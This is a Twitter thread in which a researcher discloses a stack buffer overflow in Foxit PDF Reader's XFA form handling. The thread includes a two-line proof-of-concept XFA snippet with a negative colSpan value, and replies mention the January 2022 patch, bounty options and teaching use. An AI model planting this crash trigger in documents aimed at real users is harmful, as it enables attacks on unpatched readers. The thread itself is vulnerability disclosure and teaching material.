Dohyun Lee
@l33d0hyun

Foxit PDF Reader Stack-Based Buffer Overflow

A Stack Buffer Overflow vulnerability occurs due to a specific defect in the XFA Form.

PoC Code

```
"""
   <subform colSpan="-2" />
   <draw colSpan="1"/>
"""
```

8:00 AM · Jan 28, 2022 · Twitter Web App

30 Retweets **4** Quote Tweets **150** Likes

Dohyun Lee @l33d0hyun · Jan 29
Replying to @l33d0hyun
This problem was patched January 28, 2022.
3

0000000j @dwordj · Jan 28
Replying to @l33d0hyun
where's the overflow?

sYmBiOtIcLiNkzzzzz @turnerhackz1 · Jan 29
Replying to @l33d0hyun

Dohyun Lee @l33d0hyun · Jan 29

Replying to @turnerhackz1

Unfortunately, Foxit does not bounty. However, you can receive a bounty through zdi.

1

Show replies

Xeno Kovah @XenoKovah · Apr 1

Replying to @l33d0hyun

Is there any writeup of the details of this bug? This would be a fun one to include in the Vulns1001 #OST2 class I'm working on right now